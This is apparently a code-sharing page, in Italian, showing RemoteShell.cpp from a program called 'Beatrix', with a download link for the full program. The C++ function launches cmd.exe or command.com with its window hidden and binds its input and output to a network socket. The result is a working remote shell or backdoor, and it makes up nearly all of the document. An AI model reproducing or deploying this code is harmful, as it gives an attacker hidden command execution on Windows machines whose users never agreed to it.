Username: Password: oppure
Beatrix - RemoteShell.cpp

RemoteShell.cpp

Caricato da: Piero Tofy
Scarica il programma completo

  1. #include "RemoteShell.h"
  2.  
  3. /*
  4. Thanks to http://unsecure.altervista.org/shell/shell.htm
  5. */
  6.  
  7. void OpenShell(SOCKET socket){
  8.         char *pWindir = getWindowsDirectory();
  9.         char *pSysdir = getSystemDirectory();
  10.         char *pShellpath = new char[MAX_PATH];
  11.         STARTUPINFO si;
  12.         PROCESS_INFORMATION pi;
  13.         int isnt = isNT();
  14.  
  15.         GetWindowsDirectory(pWindir,50);
  16.         if (isnt){
  17.                 wsprintf(pShellpath,"%s\\%s\0",pSysdir,"cmd"); 
  18.         }else{
  19.                 wsprintf(pShellpath,"%s\\%s\0",pWindir,"command.com");
  20.         }
  21.  
  22.  
  23.  
  24.         memset((void *) &si, 0, sizeof(si));
  25.         memset((void *) &pi, 0, sizeof(pi));
  26.  
  27.         si.cb = sizeof(STARTUPINFO);
  28.         si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  29.  
  30.         si.wShowWindow = SW_HIDE;
  31.         si.hStdInput = (void *)socket;  // posso assegnare lo standard input direttamente alla socket
  32.         si.hStdOutput = (void *)socket;   // devo utilizzare un cast in quanto la socket ?n intero,
  33.         si.hStdError = (void *)socket;  // mentre io ho bisogno di una variabile tipo Handle (puntatore a void)
  34.  
  35.         if (CreateProcess(NULL, pShellpath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)){
  36.                    //Aspetta fino alla fine dell'esecuzione (fino a quando non riceve exit)
  37.                         WaitForSingleObject(pi.hProcess, INFINITE);
  38.  
  39.                         CloseHandle(pi.hThread);
  40.                         CloseHandle(pi.hProcess);
  41.         }
  42. }